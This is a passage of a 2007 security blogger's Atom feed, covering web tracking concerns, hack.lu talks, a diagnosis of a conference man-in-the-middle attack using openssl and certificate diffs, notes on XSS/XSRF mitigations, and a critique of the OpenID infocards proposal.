Maybe we need another generation of simple policy languages that enable a similar tie-in, but for a broader set of use cases: Placing Cookies in HTTP headers is hardly the main concern any more. <a href="http://log.does-not-exist.org/archives/2007/06/10/2124_forget_cookies.html">Forget cookies</a> if you can get <a href="http://www.w3.org/html/wg/html5/#sql">client side SQL</a> and <a href="http://www.w3.org/html/wg/html5/#globalstorage">client-side global data storage</a>. Forget web bugs for data leaks if Javascript can <a href="http://www.w3.org/TR/2003/REC-DOM-Level-2-HTML-20030109/DOM2-HTML.html#html-ID-76767676"><code>submit()</code></a> forms cross-domain (and <a href="http://www.w3.org/TR/xforms/">xforms</a> have the same feature, but declaratively). And forget forms if events can cause the user's every keypress and mouse click to trigger an <code>XMLHttpRequest()</code> object to phone home (soon <a href="http://www.w3.org/TR/access-control/">cross-domain</a>). In today's environment, the <a href="http://www.w3.org/html/wg/html5/#ping"><code>ping</code></a> attribute on links almost comes as a relief, as it enables easier spotting of tracking techniques -- along with easier tracking. If, as a community, we want to use technical levers to entice Web application providers to behave in a socially transparent and responsible way, then we need to take a comprehensive approach, start to understand what technical control points we still have, and how we can use them.

Meanwhile, our best chance to holding sites honest are the kind of public shaming that facebook is experiencing, law enforcement, and regulation (where applicable) -- if anybody notices what's going on, that is.]]>
      
   </content>
</entry>
<entry>
   <title>hack.lu: slides</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2007/10/21/2145_hacklu_slides.html" />
   <id>tag:log.does-not-exist.org,2007://2.2145</id>
   
   <published>2007-10-21T10:30:37Z</published>
   <updated>2007-10-25T12:16:38Z</updated>
   
   <summary>I guess a conference counts as good fun when you go there to listen and end up giving two lightning talks and a not really lightning talk. So, for the record, here we go: The MITM diagnosis lightning talk was...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="Just Blogging" scheme="http://www.sixapart.com/ns/types#category" />
         <category term="web stuff" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[I guess a conference counts as good fun when you go there to listen and end up giving two lightning talks and a not really lightning talk. So, for the record, here we go:

<ul>
<li>The <a href="http://log.does-not-exist.org/archives/2007/10/20/2144_hacklu_mitming_a_room_full_of_security_people.html">MITM diagnosis</a> lightning talk was just xterms on a beamer, no slides there. The files I showed are all in that blog item, though.</li>
<li>I followed up to <a href="http://log.does-not-exist.org/archives/2007/10/20/2143_hacklu_breaking_and_securing_web_applications.html">Nitesh Dhanjani</a>'s talk with a quick <a href="http://www.w3.org/2007/Talks/1020-hacklu-tlr.pdf">overview</a> of the work that W3C's Web Application Formats Working Group is doing on <a href="http://www.w3.org/TR/access-control">enabling cross-site requests</a> with XMLHttpRequest.</li>
<li>When one speaker couldn't get to the conference, I found myself helping to fill the void with a <a href="http://www.w3.org/2007/Talks/1020-hacklu2-tlr.pdf">quickly updated version</a> of my <a href="http://log.does-not-exist.org/archives/2007/04/03/2105_presentation_styles.html">"what do they think they're doing"</a> talk from the <a href="http://web.conf.hu/">Hungarian Web Conference</a>.</li>
</ul>

The slides should be linked from the <a href="http://hack.lu/index.php/Agenda">conference program</a> sooner or later.
]]>
      
   </content>
</entry>
<entry>
   <title>hack.lu: MITMing a room full of security people</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2007/10/20/2144_hacklu_mitming_a_room_full_of_security_people.html" />
   <id>tag:log.does-not-exist.org,2007://2.2144</id>
   
   <published>2007-10-20T18:46:22Z</published>
   <updated>2007-10-25T12:15:38Z</updated>
   
   <summary>In Pwned @ hack.lu, Didier Stevens has a nice screenshot of what a lot of people saw at the conference yesterday. Not trusting the crowd in the room, I had configured my Web browser to go through an SSH tunnel...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="Just Blogging" scheme="http://www.sixapart.com/ns/types#category" />
         <category term="web stuff" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[In <a title="Pwned @ hack.lu?" href="http://blog.didierstevens.com/2007/10/19/pwned-hacklu/">Pwned @ hack.lu</a>, Didier Stevens has a nice screenshot of what a lot of people saw at the <a href="http://www.hack.lu">conference</a> yesterday. Not trusting the crowd in the room, I had configured my Web browser to go through an SSH tunnel elsewhere, so the software that was affected for me was fetchmail -- which I had fortunately configured paranoid enough that it noticed the wacky certificate that was "shown" by my personal server on port 995, pop3-s, and simply died with a nice error message.

So, what happened?  As I said in a spontaneous lightning talk after that session, my diagnosis was that somebody was running a man-in-the-middle attack on a room full of security people. The tool they were using rewrote the TLS certificates that were shown by servers, but tried to keep the human-readable information in the certificate intact. (As Benny K notes <a href="http://blog.didierstevens.com/2007/10/19/pwned-hacklu/#comment-15602">in a comment</a>, "the certificate seemed fine".) 

The tool used was most likely <a href="http://ettercap.sourceforge.net/index.php">ettercap</a>.

Incidentally, I don't mind that this prank was played on all of us. Attending a hacking conference means you're fair game to some extent -- there will be packet sniffing, and there will be active attacks. As long as no lasting damage is caused, and as long as the attacks don't interfere with the conference talks, that's fine. What I found disappointing, though, is that the responsible party didn't have the stomach to give a lightning talk about the results gathered. For instance, I'd love to know how many of the (security-minded!) people in the room actually clicked past the errors that their browsers and mail clients showed. That would be first-class input for the <a href="http://www.w3.org/2006/WSC/">Web Security Context Working Group</a>. (Anecdotal evidence suggests that a few people got rather nervous after they heard the lightning talk...)

Now, for the details...
]]>
      <![CDATA[How do you diagnose something like this?

Fortunately, the attacker seemed to focus on several TLS-based protocols, and left SSH alone. So, when the errors started, my first step was to ssh out of the conference network, and get a dump of the <a href="http://does-not-exist.org/2007/10/c2">certificate</a> that the server really shows -- that's easy enough:

<pre>
$ openssl s_client -host ... -port 995
</pre>

Running the same thing locally yielded <a href="http://does-not-exist.org/2007/10/c1">this certificate</a>.

Loooking at these certificates is possible with standard tools:

<pre>
$ openssl x509 -in ... -text
</pre>

To compare things, there's of course nothing like the good old <code>diff(1)</code>, so that's what came next (<a href="http://does-not-exist.org/2007/10/certdiff.txt">full diff here</a>).

There were four significant changes:

<ul>
<li>A little bit of mangling to the subject's distinguished name (you'll see that I use a home-grewn CA certificate that's mostly useful for myself); note the duplicate L attribute in the certificate:
<pre>
         Serial Number: 6 (0x6)
-        Signature Algorithm: md5WithRSAEncryption
-        Issuer: C=LU, ST=Luxembourg, L=Grevenmacher, O=does-not-exist.org, CN=Thomas Roessler -- CA Key 20060714/emailAddress=roessler@does-not-exist.org
+        Signature Algorithm: sha1WithRSAEncryption
+        Issuer: C=LU, ST=Luxembourg, L=Grevenmacher, O=does-not-exist.org, CN=Thomas Roessler -- CA Key 20060714/emailAddress=roessler@does-not-exist.org, L= 
         Validity
</pre>
This actually suggests a bug in the tool that was used.
</li>
<li>
A different public key:
<pre>
-                    00:bc:1e:0d:ab:8b:3e:c1:9a:b3:a8:ce:67:20:36:
-                    b6:3c:d9:ad:0c:23:fa:e0:b4:7b:7b:a3:03:f2:22:
-                    b2:94:0e:9c:c2:8f:c7:1f:82:ff:ae:6d:c5:dc:ef:
-                    ec:b4:28:bc:76:59:8d:29:02:cc:e9:57:12:c7:ae:
-                    d3:73:0c:95:b8:bf:f2:63:16:43:b6:7e:44:8c:a3:
-                    43:55:9a:bd:6a:ff:ff:b3:05:90:f7:9d:96:36:0a:
-                    ec:99:41:12:3b:3d:c1:79:8d:3a:73:a5:7b:f0:7a:
-                    73:1b:e1:c3:cc:76:ce:af:cc:5b:c1:29:0a:fd:34:
-                    e8:d2:5e:54:5b:cf:a2:a2:7b
+                    00:e8:fb:ae:62:f1:00:e4:2d:d4:59:d0:11:4f:45:
+                    bf:9b:6f:62:3a:ae:81:59:ad:0f:18:5a:76:73:2f:
+                    f4:f8:78:28:70:bb:7e:7c:cb:ac:ab:8d:d7:cf:9e:
+                    36:ea:4d:5f:1d:41:b7:a8:10:a2:77:56:1f:b2:33:
+                    6a:c7:53:5e:15:8f:6c:41:4c:54:62:11:3b:03:ec:
+                    10:08:78:be:bc:1c:87:47:44:53:20:dc:d0:37:f3:
+                    8d:0f:14:cb:bc:83:47:02:e3:87:d6:c2:0f:a5:02:
+                    c6:30:fa:c4:da:81:66:88:a6:f7:b4:30:7e:81:c9:
+                    c8:5a:3b:e0:18:a4:55:85:27
</pre>
</li>
<li>Dropped X509v3 extensions; I'd count this as another bug, or would be curious what the attack tool's rationale is for changing this aspect.</li>
<li>A change in signature algorithm and signature value.  The latter is no surprise (after all, there's different key material now); I don't know why the signature  algorithm is changed. (Though, yes, the sha1 chosen by the attacker is a better choice than the - cough - MD5 in my server's certificate. That's actually a bug in the certificate.)</li>
</ul>

So, we learn two characteristics about the attack tool:
<ul><li>It aims to keep the human-readable information in the certificate intact.</li>
<li>It changes the public key to one that we now know.</li>
</ul>

A bit of Google searching later, I knew that <a href="http://ettercap.sourceforge.net/">ettercap</a> matches the first of these characteristics and, interestingly, has a default <a href="http://ettercap.cvs.sourceforge.net/ettercap/ettercap_ng/share/etter.ssl.crt?view=log">key pair</a>.

Well, I can't say I was particularly surprised when that key pair's public modulus turned out to be the one that had been injected into my ongoing TLS transaction. (<a href="http://does-not-exist.org/2007/10/etter.ssl.txt">text dump here</a>)

Of course, the use of that key pair is no proof that ettercap was the tool in question, but it makes it a very likely conclusion. I haven't bothered checking whether the "L=" glitch is typical for this particular tool, or not.

That's actually all.
]]>
   </content>
</entry>
<entry>
   <title>hack.lu: Breaking and Securing Web Applications</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2007/10/20/2143_hacklu_breaking_and_securing_web_applications.html" />
   <id>tag:log.does-not-exist.org,2007://2.2143</id>
   
   <published>2007-10-20T07:15:34Z</published>
   <updated>2007-10-25T12:17:27Z</updated>
   
   <summary>At hack.lu, the best talk so far is Nitesh Dhanjani&apos;s talk Breaking and Securing Web applications. Random notes below the fold....</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="Just Blogging" scheme="http://www.sixapart.com/ns/types#category" />
         <category term="web stuff" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[At <a href="http://www.hack.lu/">hack.lu</a>, the best talk so far is <a href="http://www.dhanjani.com/">Nitesh Dhanjani</a>'s talk <a href="http://hack.lu/index.php/List#Breaking_and_Securing_Web_applications">Breaking and Securing Web applications</a>.

Random notes below the fold.
]]>
      <![CDATA[<ul>
<li>cross-site scripting is an <i>output validation problem</i></li>
<li>analysis tools are insufficient</li>
<li>hard to understand, hard to demonstrate ("alert" doesn't cut it); but see <a href="http://www.bindshell.net/tools/beef/">beef</a> for a nice tool</li>
<li>If XSS vectors go through databases, particularly hard to find.</li>
<li>XSRF - confused deputy problem (but uses &lt;img src="...&gt;, i.e., HTTP GET, as example)</li>
<li>Yahoo! mobile as example</li>
<li>POST-based example for Yahoo! calendar, through JavaScript</li>
<li>Mitigation
<ul>
<li>Do not rely on referer header</li>
<li>do not rely on POST</li>
<li>use random tokens</li>
<li>should there be client-side protection? - well...</li>
</ul>
</li>
<li>How do you assess XSRF? -- hard to distinguish important / unimportant operations</li>
<li>XSRF can be used by external attacker to turn browser into proxy to Intranet</li>
<li>Combine XSS and XSRF?</li>
<li>Targeting the Browser?</li>
<li>Flash crossdomain issue -- <code>crossdomain.xml</code> can now exist anywhere in the web root</li>
<li>application access control model?</li>
<li>Cross-domain requests in Flash: Look for cross-domain.xml in root of target site.</li>
<li>recent change: <code>crossdomain.xml</code> can sit about anywhere</li>
<li>consider if we have an upload/download area</li>
<li>extremely difficult for application owners</li>
<li>use XSS to drop crossdomain.xml in there ... whooops?</li>
<li>Remember Adobe's PDF plugin? (javascript in fragment identifiers) It's a purely client-side issue.</li>
<li>application security will continue to be extremely important</li>
</ul>
]]>
   </content>
</entry>
<entry>
   <title>OpenID over WS-Trust?</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2007/09/02/2135_openid_over_wstrust.html" />
   <id>tag:log.does-not-exist.org,2007://2.2135</id>
   
   <published>2007-09-02T09:00:22Z</published>
   <updated>2007-09-02T13:21:09Z</updated>
   
   <summary>In an interesting example of how the different identity systems around play together (or not), SXIP has proposed an &quot;OpenID infocards&quot; spec. Allegedly, there is a working implementation around; I haven&apos;t tried it, though. OpenID Information Cards 1.0 - Draft...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="web stuff" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[In an interesting example of how the different identity systems around play together (or not), <a href="http://www.sxip.com/">SXIP</a> has <a href="http://openid.net/pipermail/general/2007-August/003160.html">proposed</a> an "<a href="https://openidcards.sxip.com/spec/openid-infocards.html">OpenID infocards</a>" spec. Allegedly, there is <a href="https://openidcards.sxip.com">a working implementation</a> around; I haven't tried it, though.

<blockquote>
<a href="https://openidcards.sxip.com/spec/openid-infocards.html">OpenID Information Cards 1.0 - Draft 01</a><br/>
D. Hardt, J. Bufu<br/>
Sxip Identity<bR/>
August 10, 2007
</blockquote>

"Infocards" in this context effectively means "OpenID over WS-Trust."  Painting with a broad brush, this specification essentially takes OpenID's colon-separated-tag-value assertion format and embeds it with WS-Trust.

Signalling that a relying party supports this protocol variant is not interoperable with the signalling used traditionally in OpenID.

An OpenId infocards relying party needs to understand an additional -- though quite lightweight -- protocol exchange which wraps the OpenId token into token XML pointy brackets, to <a href="http://connectid.blogspot.com/2007/08/structured-information.html">Paul Madsen's immense delight</a>.

An OpenId infocards provider needs to implement a WS-Trust Security Token Service.

The protocol interchanges are not interoperable with the ones traditionally used in OpenID: Steps 1-6 of the <a href="http://openid.net/specs/openid-authentication-2_0-11.html#anchor2">OpenID protocol</a> are replaced with WS-Trust based interactions.  Step 7, in its "direct verification" variant, remains in place, and ensures that the identity (still a URI) remains bound to the overall transaction.

Conversely, there are similar implications for Infocard enabled services that would want to support this scheme; for them, the OpenID infocards spec effectively introduces yet another token format. See <a href="http://ejnorman.blogspot.com/2007/08/law-5-openid-information-cards.html">Eric Norman's blog</a>.

On its face, this proposal suggests splitting the OpenID protocol into two not mutually interoperable variants, one fitting into Microsoft's cardspace framework, and one having all the lightweight RESTful karma that makes OpenID interesting  to the parts of the Web community that are less than fond of WS-*. The URL as an identity paradigm is much less central to this variant of OpenID than to the classical one: For much of the protocol exchange, what matters is the endpoint that serves as the Security Token Service. The "identity" URL itself only ever plays a role in the final verification step.

All this points to interesting times ahead, as the various camps in identity space will continue to perform tangled dances.]]>
      
   </content>
</entry>

</feed>
